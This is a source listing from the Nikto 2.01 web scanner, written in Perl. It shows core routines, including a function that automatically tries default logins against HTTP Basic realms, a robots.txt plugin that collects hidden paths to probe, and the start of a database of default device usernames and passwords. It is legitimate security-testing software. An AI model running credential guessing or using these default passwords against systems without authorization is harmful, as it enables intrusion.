Hash", \%result); } } # try https nprint("- Checking for HTTPS on port $TARGETS{$CURRENT_HOST_ID}{ip}:$port","v"); $request{'whisker'}->{'ssl'}=1; $request{'whisker'}->{'port'}= $port; $request{'whisker'}->{'http_eol'}=$http_eol; dump_var("Request Hash", \%request); LW2::http_close(\%request); # force-close any old connections LW2::http_fixup_request(\%request); if ($CLI{pause} > 0) { sleep $CLI{pause}; } if (LW2::http_do_request_timeout(\%request,\%result) eq 0) { $TARGETS{$CURRENT_HOST_ID}{ports}{$port}{ssl}=1; dump_var("Result Hash", \%result); $request{'whisker'}->{'host'}=$oldhost; nprint("- Server found: $TARGETS{$CURRENT_HOST_ID}{ip}:$port \t$result{'server'}","d"); } dump_var("Result Hash", \%result); return; } ############################################################################### # this ugly, and potentially dangerous if untrusted plugins are present ############################################################################### sub run_plugins { open(ORDERFILE,"<$NIKTO{plugindir}/nikto_plugin_order.txt"); my @ORDER=; close(ORDERFILE); foreach my $pluginf (@ORDER) { if ($pluginf =~ /^\#/) { next; } chomp($pluginf); $pluginf =~ s/\s+//; if ($pluginf eq "") { next; } eval { require "$NIKTO{plugindir}/$pluginf\.plugin"; }; if ($@) { nprint("- Could not load or parse plugin: $pluginf\.plugin\nError: ",""); warn $@; nprint("- The plugin could not be run.",""); } else { nprint("- Calling plugin: $pluginf\.plugin","d"); # just call it...hope it works...taint doesn't like this very much for obvious reasons &$pluginf; } } return; } ############################################################################### sub check_updates { LW2::http_init_request(\%request); my (%REMOTE, %LOCAL, @DBTOGET) = (); my ($pluginmsg, $remotemsg) = ""; my $code_updates=0; my $serverdir="/nikto/UPDATES/$NIKTO{version}"; my $server="www.cirt.net"; $request{'whisker'}->{'version'}="1.1"; $request{'whisker'}->{'port'}=80; $request{'whisker'}->{'anti_ids'}=""; $request{'User-Agent'}="Nikto Update Agent"; $request{'whisker'}->{'host'}=$server; for (my $i=0;$i<=$#ARGV;$i++) { if (($ARGV[$i] eq "-u") || ($ARGV[$i] eq "-useproxy")) { $CLI{useproxy}=1; last; } } if (($NIKTOCONFIG{PROXYHOST} ne "") && ($CLI{useproxy})) { $request{'whisker'}->{'proxy_host'}=$NIKTOCONFIG{PROXYHOST}; $request{'whisker'}->{'proxy_port'}=$NIKTOCONFIG{PROXYPORT}; } # retrieve versions file LW2::http_close(\%request); # force-close any old connections LW2::http_fixup_request(\%request); (my $RES, $CONTENT) = fetch("$serverdir/versions.txt","GET"); if ($RES eq 407) # requires Auth { if ($NIKTOCONFIG{PROXYUSER} eq "") { $NIKTOCONFIG{PROXYUSER}=read_data("Proxy ID: ",""); $NIKTOCONFIG{PROXYPASS}=read_data("Proxy Pass: ","noecho"); } LW2::auth_set("proxy-basic",\%request,$NIKTOCONFIG{PROXYUSER},$NIKTOCONFIG{PROXYPASS}); # and try again LW2::http_close(\%request); # force-close any old connections LW2::http_fixup_request(\%request); ($RES, $CONTENT) = fetch("$serverdir/versions.txt","GET"); } if ($RES eq "") # lookup failure? { LW2::http_close(\%request); # force-close any old connections $request{'whisker'}->{'host'}=$NIKTOCONFIG{CIRT}; $request{'Host'}="www.cirt.net"; LW2::http_fixup_request(\%request); ($RES, $CONTENT) = fetch("$serverdir/versions.txt","GET"); } if ($RES ne 200) { print STDERR "+ ERROR ($RES): Unable to get $request{'whisker'}->{'host'}$serverdir/versions.txt\n"; exit; } # make hash for (split(/\n/,$CONTENT)) { my @l=parse_csv($_); if ($_ =~ /^msg/) { $remotemsg="$l[1]"; next; } $REMOTE{$l[0]}=$l[1]; } # get local versions of plugins/dbs my @NIKTOFILES=dirlist($NIKTO{plugindir},""); foreach my $file (@NIKTOFILES) { my $v=""; open(LOCAL,"<$NIKTO{plugindir}/$file") || print STDERR "+ ERROR: Unable to open '$NIKTO{plugindir}/$file' for read: $@\n"; my @l=; close(LOCAL); my @VERS=grep(/^#VERSION/,@l); chomp($VERS[0]); $LOCAL{$file}=(parse_csv($VERS[0]))[1]; } # check main nikto versions foreach my $remotefile (keys %REMOTE) { if ($remotefile eq "nikto") # main program version { if ($REMOTE{$remotefile} > $NIKTO{version}) { print "+ Nikto has been updated to $REMOTE{$remotefile}, local copy is $NIKTO{version}\n"; print "+ No update has taken place. Please upgrade Nikto by visiting http://$server/\n"; if ($remotemsg ne "") { print "+ $server message: $remotemsg\n"; } exit; } next; } if (($LOCAL{$remotefile} eq "") || ($REMOTE{$remotefile} > $LOCAL{$remotefile})) { push(@DBTOGET,$remotefile); if ($remotefile !~ /^db_/) { $code_updates=1; } } elsif ($REMOTE{$remotefile} < $LOCAL{$remotefile}) # local is newer (!) { print STDERR "+ ERROR: Local '$remotefile' (ver $LOCAL{$remotefile}) is NEWER than remote (ver $REMOTE{$remotefile}).\n"; } } # replace local files if updated foreach my $toget (@DBTOGET) { print "+ Retrieving '$toget'\n"; (my $RES, $CONTENT) = fetch("$serverdir/$toget","GET"); if ($RES ne 200) { print STDERR "+ ERROR: Unable to get $server$serverdir/$toget\n"; exit; } if ($CONTENT ne "") { open(OUT,">$NIKTO{plugindir}/$toget") || die print STDERR "+ ERROR: Unable to open '$NIKTO{plugindir}/$toget' for write: $@\n"; print OUT $CONTENT; close(OUT); } } # CHANGES file if ($code_updates) { print "+ Retrieving 'CHANGES.txt'\n"; (my $RES, $CONTENT) = fetch("$serverdir/CHANGES.txt","GET"); if (($CONTENT ne "") && ($RES eq 200)) { open(OUT,">$NIKTO{plugindir}/../docs/CHANGES.txt") || die print STDERR "+ ERROR: Unable to open '$NIKTO{plugindir}/../CHANGES.txt' for write: $@\n"; print OUT $CONTENT; close(OUT); } } if ($#DBTOGET < 0 ) { print "+ No updates required.\n"; } if ($remotemsg ne "") { print "+ $server message: $remotemsg\n"; } exit; } ############################################################################### sub auth_guess { my ($realm, $checkid) = @_; my $successful=0; # check for 'broken' web server, returns a blank www-auth header no matter what the id/pw sent my $tid=LW2::utils_randstr(); LW2::http_close(\%request); # force-close any old connections LW2::auth_set("basic",\%request,$tid,$tid); $request{'whisker'}->{'http_eol'}=$http_eol; LW2::http_fixup_request(\%request); if ($CLI{pause} > 0) { sleep $CLI{pause}; } LW2::http_do_request_timeout(\%request,\%result); # test auth if ($result{'www-authenticate'} ne "") { foreach my $REALM (keys %REALMS) { if (($REALMS{$REALM}{id} eq "") && ($REALMS{$REALM}{pw} eq "") && ($result{'www-authenticate'} =~ /$REALMS{$REALM}{realm}/i)) { nprint("+ $REALMS{$REALM}{realm}: $REALMS{$REALM}{msg}","","kb"); } if (($result{'www-authenticate'} =~ /$REALMS{$REALM}{realm}/i) || ($REALMS{$REALM}{realm} eq "\@ANY")) { my $realm_temp=$result{'www-authenticate'}; # grab name LW2::http_close(\%request); # force-close any old connections LW2::auth_set("basic",\%request,$REALMS{$REALM}{id},$REALMS{$REALM}{pw}); # set auth $request{'whisker'}->{'http_eol'}=$http_eol; LW2::http_fixup_request(\%request); if ($CLI{pause} > 0) { sleep $CLI{pause}; } LW2::http_do_request_timeout(\%request,\%result); # test auth if ($result{'www-authenticate'} eq "") { nprint("+ Default account found for '$realm' at $TESTS{$checkid}{uri} (ID '$REALMS{$REALM}{id}', PW '$REALMS{$REALM}{pw}'). $REALMS{$REALM}{msg}","","kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; #set auth stuff & run auth_check again $NIKTO{hostid}=$REALMS{$REALM}{id}; $NIKTO{hostpw}=$REALMS{$REALM}{pw}; $result{'www-authenticate'}=$realm_temp; # set it back so auth_check properly checks it auth_check(); # and lastly, redo the check $successful=1; (my $RES, $CONTENT) = fetch($TESTS{$checkid}{uri},$TESTS{$checkid}{method},$TESTS{$checkid}{data}); nprint("- $RES for $TESTS{$checkid}{method}:\t$request{whisker}{uri}","v"); last; } } } } else { print "+ ERROR: Authorization is required, but bogus auth test appeared to work. Server is a bit whacked.\n"; } $REALMS_TESTED{$realm}=1; my $pa = $request{'Proxy-Authorization'}; LW2::auth_unset(\%request); if ($pa ne '') { $request{'Proxy-Authorization'} = $pa; } } ############################################################################### # auth_check # if the server requires authentication & we have it... ############################################################################### sub auth_check { my $REALM=$result{'www-authenticate'} || return; $REALM =~ s/^Basic //i; $REALM =~ s/realm=//i; if ($REALM eq "") { $REALM="unnamed"; } if ($result{'www-authenticate'} !~ /basic|ntlm/i) # doh, not basic! { my $AUTHTYPE=$result{'www-authenticate'}; $AUTHTYPE =~ s/ .*$//; nprint("+ ERROR: Host uses '$AUTHTYPE'"); return; } elsif ($NIKTO{hostid} eq "") { nprint("+ ERROR: No auth credentials for $REALM, please set."); return; } else { nprint("- Attempting authorization to $REALM realm.","v"); LW2::auth_set("basic",\%request,$NIKTO{hostid},$NIKTO{hostpw},$NIKTO{hostdomain}); # set auth LW2::http_fixup_request(\%request); if ($CLI{pause} > 0) { sleep $CLI{pause}; } $request{'whisker'}->{'http_eol'}=$http_eol; LW2::http_do_request_timeout(\%request,\%result); # test auth dump_var("Request Hash", \%request); dump_var("Result Hash", \%result); if ($result{'www-authenticate'} ne "") { nprint("+ ERROR: Unable to authenticate to $REALM"); } else { nprint("- Successfully authenticated to realm $REALM.","","kb"); } } return; } ############################################################################### # read_data ( prompt, mode ) # read STDIN data from the user # portions of this (POSIX code) were taken from the # Term::ReadPassword module by Tom Phoenix (many thanks). # it has been modified to not require Term::ReadLine, but still requires # POSIX::Termios of it's a POSIX machine ############################################################################### sub read_data { if ($NIKTOCONFIG{PROMPTS} =~ /no/i) { return; } my($prompt, $mode, $POSIX) = @_; my $input = ""; if ($^O =~ /Win32/) { $POSIX=0; } else { $POSIX=1; } my %SPECIAL = ( "\x03" => 'INT', # Control-C, Interrupt "\x08" => 'DEL', # Backspace "\x7f" => 'DEL', # Delete "\x0d" => 'ENT', # CR, Enter "\x0a" => 'ENT', # LF, Enter ); # if we're on a non-POSIX machine we can't not-echo the # characters, so just use getc to avoid the dependency on # POSIX::Termios. We would be best to get rid of this # entirely and use another way... if ($POSIX) { local(*TTY, *TTYOUT); open TTY, "<&STDIN" or return; open TTYOUT, ">>&STDOUT" or return; # Don't buffer it! select( (select(TTYOUT), $|=1)[0] ); print TTYOUT $prompt; # Remember where everything was my $fd_tty = fileno(TTY); my $term = POSIX::Termios->new(); $term->getattr($fd_tty); my $original_flags = $term->getlflag(); if ($mode eq "noecho") { my $new_flags = $original_flags & ~(ISIG | ECHO | ICANON); $term->setlflag($new_flags); } $term->setattr($fd_tty, TCSAFLUSH); KEYSTROKE: while (1) { my $new_keys = ''; my $count = sysread(TTY, $new_keys, 99); if ($count) { for my $new_key (split //, $new_keys) { if (my $meaning = $SPECIAL{$new_key}) { if ($meaning eq 'ENT') { last KEYSTROKE; } elsif ($meaning eq 'DEL') { chop $input; } elsif ($meaning eq 'INT') { last KEYSTROKE; } else { $input .= $new_key; } } else { $input .= $new_key; } } } else { last KEYSTROKE; } } # Done with waiting for input. Let's not leave the cursor sitting # there, after the prompt. print TTY "\n"; print "\n"; # Let's put everything back where we found it. $term->setlflag($original_flags); $term->setattr($fd_tty, TCSAFLUSH); close(TTY); close(TTYOUT); } else # non-POSIX { print $prompt; $input=; chomp($input); } return $input; } ############################################################################### sub proxy_setup { if (!$CLI{useproxy}) { return; } # HTTP proxy $request{'whisker'}->{'proxy_host'}=$NIKTOCONFIG{PROXYHOST}; $request{'whisker'}->{'proxy_port'}=$NIKTOCONFIG{PROXYPORT}; return; } ############################################################################### sub proxy_check { $request{'whisker'}->{'method'}="HEAD"; $request{'whisker'}->{'uri'}="/"; if ($request{'whisker'}->{'proxy_host'} ne "") # proxy is set up { LW2::http_close(\%request); # force-close any old connections $request{'whisker'}->{'http_eol'}=$http_eol; LW2::http_fixup_request(\%request); if ($CLI{pause} > 0) { sleep $CLI{pause}; } LW2::http_do_request_timeout(\%request,\%result); if ($result{'whisker'}{'code'} eq "407") # proxy requires auth { # have id/pw? if ($NIKTOCONFIG{PROXYUSER} eq "") { $NIKTOCONFIG{PROXYUSER}=read_data("Proxy ID: ",""); $NIKTOCONFIG{PROXYPASS}=read_data("Proxy Pass: ","noecho"); } if ($result{'proxy-authenticate'} !~ /Basic/i) { my @x=split(/ /,$result{'proxy-authenticate'}); nprint("+ Proxy server uses '$x[0]' rather than 'Basic' authentication. $NIKTO{name} $NIKTO{version} can't do that."); exit; } # test it... LW2::http_close(\%request); # force-close any old connections LW2::auth_set("proxy-basic",\%request,$NIKTOCONFIG{PROXYUSER},$NIKTOCONFIG{PROXYPASS}); # set auth $request{'whisker'}->{'http_eol'}=$http_eol; LW2::http_fixup_request(\%request); if ($CLI{pause} > 0) { sleep $CLI{pause}; } LW2::http_do_request_timeout(\%request,\%result); if ($result{'proxy-authenticate'} ne "") { my @pauthinfo=split(/ /,$result{'proxy-authenticate'}); my @pauthinfo2=split(/=/,$result{'proxy-authenticate'}); $pauthinfo2[1]=~s/^\"//; $pauthinfo2[1]=~s/\"$//; nprint("+ Proxy requires authentication for '$pauthinfo[0]' realm '$pauthinfo2[1]', unable to authenticate."); exit; } else { nprint("- Successfully authenticated to proxy.","v"); } } } $PROXYCHECKED=1; return; } ############################################################################### sub dirlist { my $DIR=$_[0] || return; my $PATTERN=$_[1] || ""; my @FILES_TMP = (); opendir(directory,$DIR) || die print STDERR "+ ERROR: Can't open directory '$DIR': $@"; foreach my $file (readdir(directory)) { if ($file =~ /^\./) { next; } # skip hidden files, '.' and '..' if ($PATTERN ne "") { if ($file =~ /$PATTERN/) { push (@FILES_TMP,$file); } } else { push (@FILES_TMP,$file); } } closedir(directory); return @FILES_TMP; } ####################################################################### sub dump_var { return if !$OUTPUT{debug}; # quick return my $msg = $_[0]; my %hash_in = %{$_[1]}; my $display = LW2::dump('', \%hash_in); $display =~ s/^\$/'$msg'/; nprint($display,"d"); return; } ####################################################################### sub check_cgi { my ($gotvalid,$gotinvalid)=0; my @POSSIBLECGI=(); my @CFGCGI=(split(/ /,$VARIABLES{"\@CGIDIRS"})); my ($res, $possiblecgidir) =""; if ($CLI{forcecgi} eq "all") # all possible CGI dirs to be "true" { nprint("Using 'all' CGI directories\n","d"); $VARIABLES{"\@CGIDIRS"} = join(" ",@CFGCGI); } elsif ($CLI{forcecgi} eq "none") # scan no CGI directories { nprint("Using no CGI directories\n","d"); $VARIABLES{"\@CGIDIRS"} = ""; } elsif ($CLI{forcecgi} =~ /[a-zA-Z0-9]/) # scan a specific directory { nprint("Using CGI dir '$CLI{forcecgi}'\n","d"); $VARIABLES{"\@CGIDIRS"} = $CLI{forcecgi}; } else # or normal testing of each dir { foreach $possiblecgidir (@CFGCGI) { ($res, $CONTENT)=fetch($possiblecgidir,"GET"); nprint("Checked for CGI dir\t$possiblecgidir\tgot:$res","d"); if (($res eq 302) || ($res eq 200) || ($res eq 403)) { push(@POSSIBLECGI,$possiblecgidir); $gotvalid++; } } if ($gotvalid eq 0) { nprint("+ No CGI Directories found (use '-C all' to force check all possible dirs)","","kb"); $VARIABLES{"\@CGIDIRS"} = ""; } elsif ($#CFGCGI eq $#POSSIBLECGI) { nprint("+ All CGI directories 'found', use '-C none' to test none","","kb"); $VARIABLES{"\@CGIDIRS"} = join(" ",@CFGCGI); } else { $VARIABLES{"\@CGIDIRS"} = join(" ",@POSSIBLECGI); } } # end !$CLI{forcecgi} nprint("- Checking for CGI in: $VARIABLES{\"\@CGIDIRS\"}","v"); return; } ####################################################################### sub fetch { if ($CLI{pause} > 0) { sleep $CLI{pause}; } LW2::http_close(\%request); # force-close any old connections $request{'whisker'}->{'uri'} = $CLI{root} . $_[0]; # prepend -root option value $request{'whisker'}->{'method'} = $_[1]; $request{'whisker'}->{'http_eol'}=$http_eol; delete $request{'whisker'}->{'data'}; delete $request{'Content-Encoding'}; delete $request{'Content-Length'}; if ($_[2] ne "") { my $r=$_[2]; $r =~ s/\\\"/\"/g; $request{'whisker'}->{'data'} = $r; } $NIKTO{totalrequests}++; LW2::http_fixup_request(\%request); LW2::http_do_request_timeout(\%request,\%result); dump_var("Request Hash", \%request); dump_var("Result Hash", \%result); if (($CLI{display} =~ /2/) && (defined($result{'whisker'}->{'cookies'}))) { foreach my $c (@{$result{'whisker'}->{'cookies'}}) { nprint("+ $request{'whisker'}->{'uri'} sent cookie: $c","","kb"); } } return $result{'whisker'}->{'code'}, $result{'whisker'}->{'data'}; } ####################################################################### sub set_scan_items { # load the tests my $shname=$TARGETS{$CURRENT_HOST_ID}{hostname} || $TARGETS{$CURRENT_HOST_ID}{ip}; %TESTS = (); $TARGETS{$CURRENT_HOST_ID}{total_checks}=0; my @SKIPLIST = split(/ /,$NIKTOCONFIG{SKIPIDS}); # now load checks foreach my $line (@DBFILE) { if ($line =~ /^\"/) # check { chomp($line); # substitute for @IP, @HOSTNAME in check $line =~ s/\@IP/$TARGETS{$CURRENT_HOST_ID}{ip}/g; $line =~ s/\@HOSTNAME/$shname/g; my @item=parse_csv($line); my $add=1; # check tuning options if (($CLI{tuning} ne "") && ($item[2] ne "")) { if ($CLI{tuning} =~ /x/) { # don't include checks that have the tuning set if ($CLI{tuning} =~ /$item[2]/) { $add=0; } } else { # only include checks that have the tuning set if ($CLI{tuning} !~ /$item[2]/) { $add=0; } } } # Skip list foreach my $id (@SKIPLIST) { if ($id eq $item[0]) { $add=0; } } # Add random text if ($add) { for (my $i=3;$i<=$#item;$i++) { if ($item[$i] =~ /JUNK\([0-9]+\)/) # junk text { $item[$i]=~/JUNK\(([0-9]+)\)/; $item[$i] =~ s/JUNK\(([0-9]+)\)/LW2::utils_randstr($1)/e; } } # Build the check items. First check for any @ values to replace. this nasty set of loops allows for multiple values per line my $ext = get_ext($item[3]); $db_extensions{$ext}=1; # This escapes regex characters in the conditionals. This will have to change if regex is ever allowed in the db for (my $y=5;$y<=9;$y++) { $item[$y] =~ s/([^a-zA-Z0-9\s])/\\$1/g; } if ($item[3] =~ /^\@/) # multiple checks in one { my @clones=(); my $todelete=""; push(@clones,$item[3]); foreach my $varname (keys %VARIABLES) { for (my $i=0;$i<=$#clones;$i++) { if ($clones[$i] =~ /$varname/) { my @values=split(/ /,$VARIABLES{$varname}); foreach my $val (@values) { my $temp=$clones[$i]; $temp =~ s/$varname/$val/g; push(@clones,$temp); $todelete=$i; } splice(@clones,$todelete,1); $i--; # step back in the @clones 'cause we deleted one. more work, but it guarantees it's complete } } } # now actually populate the checks for (my $i=0;$i<=$#clones;$i++) { $TARGETS{$CURRENT_HOST_ID}{total_checks}++; $TESTS{$item[0]}{uri}=$clones[$i]; $TESTS{$item[0]}{osvdb}=$item[1]; $TESTS{$item[0]}{method}=$item[4]; $TESTS{$item[0]}{match_1}=$item[5]; $TESTS{$item[0]}{match_1_or}=$item[6]; $TESTS{$item[0]}{match_1_and}=$item[7]; $TESTS{$item[0]}{fail_1}=$item[8]; $TESTS{$item[0]}{fail_2}=$item[9]; $TESTS{$item[0]}{message}=$item[10]; $TESTS{$item[0]}{data}=$item[11]; $TESTS{$item[0]}{headers}=$item[12]; } } else # normal, single check { $TARGETS{$CURRENT_HOST_ID}{total_checks}++; $TESTS{$item[0]}{uri}=$item[3]; $TESTS{$item[0]}{osvdb}=$item[1]; $TESTS{$item[0]}{method}=$item[4]; $TESTS{$item[0]}{match_1}=$item[5]; $TESTS{$item[0]}{match_1_or}=$item[6]; $TESTS{$item[0]}{match_1_and}=$item[7]; $TESTS{$item[0]}{fail_1}=$item[8]; $TESTS{$item[0]}{fail_2}=$item[9]; $TESTS{$item[0]}{message}=$item[10]; $TESTS{$item[0]}{data}=$item[11]; $TESTS{$item[0]}{headers}=$item[12]; } } } } nprint("- $TARGETS{$CURRENT_HOST_ID}{total_checks} server checks loaded","v"); if ($TARGETS{$CURRENT_HOST_ID}{total_checks} eq 0) { nprint("+ Unable to load valid checks!"); exit; } return; } ####################################################################### sub max_test_id { return (sort {$a<=>$b} keys %TESTS)[-1]; } ####################################################################### sub char_escape { $_[0] =~ s/([^a-zA-Z0-9 ])/\\$1/g; return $_[0]; } ####################################################################### sub parse_csv { my $text = $_[0] || return; my @new = (); push(@new, $+) while $text =~ m{ "([^\"\\]*(?:\\.[^\"\\]*)*)",? | ([^,]+),? | , }gx; push(@new, undef) if substr($text, -1,1) eq ','; return @new; } ####################################################################### sub version { my @NIKTOFILES=dirlist($NIKTO{plugindir},"(^nikto|^db_)"); print "$DIV\n$NIKTO{name} Versions\n$DIV\n"; print "File Version Last Mod\n"; print "----------------------------- -------- ----------\n"; print "Nikto main $NIKTO{version}\n"; print "LibWhisker $LW2::VERSION\n"; foreach my $FILE (sort @NIKTOFILES) { open(FI,"<$NIKTO{plugindir}/$FILE") || die print STDERR "- ERROR: Unable to open '$NIKTO{plugindir}/$FILE': $!\n";;; my @F=; close(FI); my @VERS=grep(/^#VERSION/,@F); my @MODS=grep(/^#LASTMOD/,@F); chomp($VERS[0]); chomp($MODS[0]); $VERS[0] =~ s/^#VERSION,//; $MODS[0] =~ s/^#LASTMOD,//; my $ws1=(35-length($FILE)); my $ws2=(13-length($VERS[0])); print "$FILE", " " x $ws1 , "$VERS[0]", " " x $ws2, "$MODS[0]\n"; } print "$DIV\n"; exit; } ####################################################################### sub send_updates { if ($NIKTOCONFIG{UPDATES} !~ /yes|auto/i) { return; } my $have_updates=0; my ($updated_version, $answer, $RES); foreach my $ver (keys %UPDATES) { if ($UPDATES{$ver} eq 1) { if ($ver !~ /[0-9]/) { next; } # no version info...useless if ($ver eq "Win32") { next; } # also no use if ($ver eq "Linux-Mandrake") { next; } # just... usually garbage $have_updates=1; $updated_version .= "$ver "; } } if (!$have_updates) { return; } if ($updated_version eq "") { return; } # make sure the db_outdatedb isn't *too* old open(OD,"<$NIKTO{plugindir}/db_outdated") || die print STDERR "- ERROR: Unable to open '$NIKTO{plugindir}/db_outdated': $!\n";; @F=; close(OD); my @LASTUPDATED=grep(/^#LASTMOD/,@F); chomp($LASTUPDATED[0]); $LASTUPDATED[0]=~s/^.*,//; my @lu=split(/\./,$LASTUPDATED[0]); my $lm="$lu[2]$lu[0]"; my @NOW=localtime(time); $NOW[5]+=1900; $NOW[4]++; if ($NOW[4] < 10) { $NOW[4]="0$NOW[4]"; } my $now="$NOW[5]$NOW[4]"; if (($now - $lm) > 4) { return; } # DB is 4 months old... ignore the updates! $updated_version =~ s/\s+$//; $updated_version =~ s/^\s+//; if ($NIKTOCONFIG{UPDATES} eq "auto") { $answer = "y"; } else { $answer=read_data("\n ***** Portions of the server's ident string ($updated_version) are not in the Nikto database or is newer than the known string. Would you like to submit this information (*no server specific data*) to CIRT.net for a Nikto update (or you may email to sullo\@cirt.net) (y/n)? ",""); } if ($answer !~ /y/i) { return; } LW2::http_init_request(\%request); my $server="www.cirt.net"; $request{'whisker'}->{'version'}="1.1"; $request{'whisker'}->{'port'}=80; $request{'whisker'}->{'anti_ids'}=""; $request{'User-Agent'}="Nikto Update Agent"; $request{'Host'}="www.cirt.net"; for (my $i=0;$i<=$#ARGV;$i++) { if (($ARGV[$i] eq "-u") || ($ARGV[$i] eq "-useproxy")) { $CLI{useproxy}=1; last; } } my $ip=gethostbyname($server); if ($ip ne "") { $request{'whisker'}->{'host'}= inet_ntoa($ip); } else { $request{'whisker'}->{'host'}=$server; } if (($NIKTOCONFIG{PROXYHOST} ne "") && ($CLI{useproxy})) { $request{'whisker'}->{'proxy_host'}=$NIKTOCONFIG{PROXYHOST}; $request{'whisker'}->{'proxy_port'}=$NIKTOCONFIG{PROXYPORT}; } # send data LW2::http_close(\%request); # force-close any old connections LW2::http_fixup_request(\%request); ($RES, $CONTENT) = fetch("/cgi-bin/versions?DATA=$updated_version","GET"); # if res is blank... maybe only proxy to get to net? if (($RES eq "") && ($NIKTOCONFIG{PROXYHOST} ne "")) { $request{'whisker'}->{'proxy_host'}=$NIKTOCONFIG{PROXYHOST}; $request{'whisker'}->{'proxy_port'}=$NIKTOCONFIG{PROXYPORT}; ($RES, $CONTENT) = fetch("/cgi-bin/versions?DATA=$updated_version","GET"); } if ($RES eq 407) # requires Auth { if ($NIKTOCONFIG{PROXYUSER} eq "") { $NIKTOCONFIG{PROXYUSER}=read_data("Proxy ID: ",""); $NIKTOCONFIG{PROXYPASS}=read_data("Proxy Pass: ","noecho"); } LW2::auth_set("proxy-basic",\%request,$NIKTOCONFIG{PROXYUSER},$NIKTOCONFIG{PROXYPASS}); # and try again LW2::http_close(\%request); # force-close any old connections LW2::http_fixup_request(\%request); ($RES, $CONTENT) = fetch("/cgi-bin/versions?DATA=$updated_version","GET"); } if ($RES eq "") # lookup failure? { LW2::http_close(\%request); # force-close any old connections $request{'whisker'}->{'host'}=$NIKTOCONFIG{CIRT}; $request{'Host'}="www.cirt.net"; LW2::http_fixup_request(\%request); ($RES, $CONTENT) = fetch("/cgi-bin/versions?DATA=$updated_version","GET"); } if ($CONTENT !~ /SUCCESS/) { print STDERR "- ERROR: ($RES, $CONTENT): Unable to send updated version string(s) to CIRT.net\n"; } else { print "- Sent updated version string(s) to CIRT.net\n"; } return; } ####################################################################### sub usage { if ($_[0] eq 2) { nprint($NIKTO{options}); } else { nprint($NIKTO{options_short}); } exit; } ####################################################################### sub nikto_core { return; } # trap for this plugin being called to run. lame. ####################################################################### 1; nikto-2.01/plugins/nikto_robots.plugin0000664000076400007640000000715210715337745017306 0ustar sullosullo#VERSION,2.00 #LASTMOD,11.10.2007 ############################################################################### # Copyright (C) 2004 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ############################################################################### ############################################################################### # PURPOSE # Check out the robots.txt file ############################################################################### sub nikto_robots { (my $RES, $CONTENT) = fetch("/robots.txt", "GET"); if (($RES eq 200) || ($RES eq $FoF{okay}{response})) # got one! { if (is_404("robots.txt", $CONTENT, $RES)) { return; } my ($DIRS, $RFILES) = ""; my $DISCTR = 0; my @DOC = split(/\n/, $CONTENT); foreach my $line (@DOC) { $line = char_escape($line); if ($line =~ /disallow/i) # hmmm... { chomp($line); $line =~ s/\#.*$//; $line =~ s/(^\s+|\s+$)//g; $line =~ s/\s+/ /g; $line =~ s/\\t/ /g; $line =~ s/disallow(:)?( )?//i; $line =~ s/\*//g; $line =~ s/\/+/\//g; if ($line eq "") { next; } # try to figure out file vs dir... just guess... if (($line !~ /\./) && ($line !~ /\/$/)) { $line .= "/"; } $line = LW2::uri_normalize($line); # figure out dirs/files... my $realdir = LW2::uri_get_dir($line); my $realfile = $line; $realfile =~ s/^$realdir//; nprint("- robots.txt entry dir:$realdir -- file:$realfile", "d"); if (($realdir ne "") && ($realdir ne "/")) { $DIRS{$realdir}++; } if (($realfile ne "") && ($realfile ne "/")) { $RFILES{$realfile}++; } $DISCTR++; } # end if $line =~ disallow } # end foreach my $line (@DOC)_ # add them to mutate dir/file foreach my $d (sort keys %DIRS) { if ($VARIABLES{"\@MUTATEDIRS"} !~ /$d/) { $VARIABLES{"\@MUTATEDIRS"} .= " $d"; } } foreach my $f (sort keys %RFILES) { if ($VARIABLES{"\@MUTATEFILES"} !~ /$d/) { $VARIABLES{"\@MUTATEFILES"} .= " $f"; } } if ($DISCTR eq 1) { nprint("+ /robots.txt - contains $DISCTR 'disallow' entry which should be manually viewed (added to mutation file lists) (GET).", "", "kb"); } elsif ($DISCTR > 1) { nprint("+ /robots.txt - contains $DISCTR 'disallow' entries which should be manually viewed (added to mutation file lists) (GET).", "", "kb"); } else { nprint("- /robots.txt - retrieved but it does not contain any 'disallow' entries, which is odd. This should be checked manually.(GET)", "", "kb"); } $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } # end if $RES eq 200 } 1; nikto-2.01/plugins/db_realms0000664000076400007640000002036110715340347015212 0ustar sullosullo#VERSION,2.000 #LASTMOD,11.10.2007 # http://www.cirt.net # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from CIRT, Inc. # (c) 2007 CIRT, Inc., All Rights Reserved. # By sending any database updates to cirt.net, it is assumed that you # grant cirt.net the unlimited, non-exclusive right to reuse, modify and relicense the changes. ######################################################################## # format: realm,id,password,message # @ANY = match any realm name (generic) # If ID and PW fields are blank, realm match is used for message only ######################################################################## "@ANY","","_Cisco","Cisco device" "@ANY","","0","Accton wireless router" "@ANY","","0000","Deutsche Telekomm T-Sinus 130 DSL" "@ANY","","00000000","Konica/Minolta Di 2010f" "@ANY","","12345","US Robotics modem" "@ANY","","admin","Generic account discovered" "@ANY","","Administrative","Avenger News System" "@ANY","","cisco","Cisco device" "@ANY","","Cisco","Cisco device" "@ANY","","connect","Fujitsu Siemens" "@ANY","","epicrouter","Conexant Router" "@ANY","","intermec","Intermec EasyLAN" "@ANY","","PASSWORD","Kyocera EcoLink" "@ANY","","password","NRG/Ricoh printer" "@ANY","","smcadmin","SMC Router" "@ANY","","Symbol","Symbol Spectrum" "@ANY","","TANDBERG","Tandberg device" "@ANY","","x6zynd56","Polycom ViewStation" "@ANY","1502","1502","X-Micro WLAN 11b router" "@ANY","admin","","Generic account discovered" "@ANY","admin","0000","Infosmart SOHO router" "@ANY","admin","1111","Xerox WorkCentre Pro" "@ANY","admin","1234","Generic account discovered" "@ANY","admin","1234","ZyXEL Prestige" "@ANY","admin","22222","Xerox DocuCentre 425" "@ANY","admin","admin","Generic account discovered." "@ANY","admin","administrator","Efficient Speedstream" "@ANY","admin","articon","Blue Coat systems" "@ANY","admin","asd","NGSec NGSecureWeb" "@ANY","admin","barney","Avaya SIP telephone" "@ANY","admin","barricade","SMC Barricade 